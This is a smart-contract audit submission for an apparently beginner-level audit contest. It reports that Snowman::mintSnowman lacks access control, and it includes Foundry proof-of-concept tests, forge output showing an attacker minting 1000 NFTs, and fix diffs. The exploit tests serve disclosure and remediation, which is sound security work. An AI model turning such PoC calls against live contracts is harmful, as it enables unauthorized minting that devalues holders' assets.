Snowman Merkle Airdrop

AI First Flight #10
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Submission Details
Severity: high
Valid

Snowman::mintSnowman - Missing access control allows anyone to mint unlimited NFTs bypassing the staking mechanism

Root + Impact

Description

  • Snowman::mintSnowman() is intended to be called exclusively by the SnowmanAirdrop contract after a recipient successfully stakes Snow tokens and passes Merkle proof verification.

  • The function is marked external with no access control modifier whatsoever. Any externally owned account or contract can call it directly, minting an arbitrary number of Snowman NFTs to any address without holding Snow tokens, providing a valid Merkle proof, or producing a valid signature.

// @> No onlyOwner, no onlyAirdrop — completely unprotected
function mintSnowman(address receiver, uint256 amount) external {
for (uint256 i = 0; i < amount; i++) {
_safeMint(receiver, s_TokenCounter);
emit SnowmanMinted(receiver, s_TokenCounter);
s_TokenCounter++;
}
}

Risk

Likelihood:

  • The function is publicly callable immediately after deployment with no preconditions

  • No deployment script initializes any permission, leaving the contract permanently unprotected

Impact:

  • An attacker can mint any number of Snowman NFTs to any address at zero cost beyond gas

  • The Snow staking requirement and Merkle airdrop mechanism are entirely bypassed

  • NFT scarcity is destroyed, collapsing the protocol's core value proposition

Proof of Concept

The following Foundry test demonstrates the attack. An address holding zero Snow tokens
calls mintSnowman() directly — bypassing the entire staking and Merkle verification
flow — and successfully receives 1000 Snowman NFTs, confirming the absence of any
caller restriction.

function test_anyoneCanMintSnowman() public {
address attacker = makeAddr("attacker");
// attacker holds zero Snow tokens and has no Merkle proof
assertEq(snow.balanceOf(attacker), 0);
vm.prank(attacker);
nft.mintSnowman(attacker, 1000); // succeeds with no checks
assertEq(nft.balanceOf(attacker), 1000);
assertEq(nft.getTokenCounter(), 1000);
}

Recommended Mitigation

The fix introduces a dedicated storage variable recording the authorized airdrop
contract address, set by the owner post-deployment. A guard at the top of
mintSnowman() reverts any caller that is not the registered airdrop contract,
ensuring the minting path can only be entered through the intended claim flow.

+ address private s_airdrop;
+ error SM__NotAllowed();
+ function setAirdrop(address _airdrop) external onlyOwner {
+ s_airdrop = _airdrop;
+ }
function mintSnowman(address receiver, uint256 amount) external {
+ if (msg.sender != s_airdrop) revert SM__NotAllowed();
for (uint256 i = 0; i < amount; i++) {
_safeMint(receiver, s_TokenCounter);
emit SnowmanMinted(receiver, s_TokenCounter);
s_TokenCounter++;
}
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 20 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-01] Unrestricted NFT Minting in Snowman.sol

# Root + Impact ## Description * The Snowman NFT contract is designed to mint NFTs through a controlled airdrop mechanism where only authorized entities should be able to create new tokens for eligible recipients. * The `mintSnowman()` function lacks any access control mechanisms, allowing any external address to call the function and mint unlimited NFTs to any recipient without authorization, completely bypassing the intended airdrop distribution model. ```Solidity // Root cause in the codebase function mintSnowman(address receiver, uint256 amount) external { @> // NO ACCESS CONTROL - Any address can call this function for (uint256 i = 0; i < amount; i++) { _safeMint(receiver, s_TokenCounter); emit SnowmanMinted(receiver, s_TokenCounter); s_TokenCounter++; } @> // NO VALIDATION - No checks on amount or caller authorization } ``` ## Risk **Likelihood**: * The vulnerability will be exploited as soon as any malicious actor discovers the contract address, since the function is publicly accessible with no restrictions * Automated scanning tools and MEV bots continuously monitor new contract deployments for exploitable functions, making discovery inevitable **Impact**: * Complete destruction of tokenomics through unlimited supply inflation, rendering all legitimate NFTs worthless * Total compromise of the airdrop mechanism, allowing attackers to mint millions of tokens and undermine the project's credibility and economic model ## Proof of Concept ```Solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.24; import {Test, console2} from "forge-std/Test.sol"; import {Snowman} from "../src/Snowman.sol"; contract SnowmanExploitPoC is Test { Snowman public snowman; address public attacker = makeAddr("attacker"); string constant SVG_URI = "data:image/svg+xml;base64,PHN2Zy4uLi4+"; function setUp() public { snowman = new Snowman(SVG_URI); } function testExploit_UnrestrictedMinting() public { console2.log("=== UNRESTRICTED MINTING EXPLOIT ==="); console2.log("Initial token counter:", snowman.getTokenCounter()); console2.log("Attacker balance before:", snowman.balanceOf(attacker)); // EXPLOIT: Anyone can mint unlimited NFTs vm.prank(attacker); snowman.mintSnowman(attacker, 1000); // Mint 1K NFTs console2.log("Final token counter:", snowman.getTokenCounter()); console2.log("Attacker balance after:", snowman.balanceOf(attacker)); // Verify exploit success assertEq(snowman.balanceOf(attacker), 1000); assertEq(snowman.getTokenCounter(), 1000); console2.log(" EXPLOIT SUCCESSFUL - Minted 1K NFTs without authorization"); } } ``` <br /> PoC Results: ```Solidity forge test --match-test testExploit_UnrestrictedMinting -vv [⠑] Compiling... [⠢] Compiling 1 files with Solc 0.8.29 [⠰] Solc 0.8.29 finished in 1.45s Compiler run successful! Ran 1 test for test/SnowmanExploitPoC.t.sol:SnowmanExploitPoC [PASS] testExploit_UnrestrictedMinting() (gas: 26868041) Logs: === UNRESTRICTED MINTING EXPLOIT === Initial token counter: 0 Attacker balance before: 0 Final token counter: 1000 Attacker balance after: 1000 EXPLOIT SUCCESSFUL - Minted 1K NFTs without authorization Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.28ms (3.58ms CPU time) Ran 1 test suite in 10.15ms (4.28ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests) ``` ## Recommended Mitigation Adding the `onlyOwner` modifier restricts the `mintSnowman()` function to only be callable by the contract owner, preventing unauthorized addresses from minting NFTs. ```diff - function mintSnowman(address receiver, uint256 amount) external { + function mintSnowman(address receiver, uint256 amount) external onlyOwner { for (uint256 i = 0; i < amount; i++) { _safeMint(receiver, s_TokenCounter); emit SnowmanMinted(receiver, s_TokenCounter); s_TokenCounter++; } } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!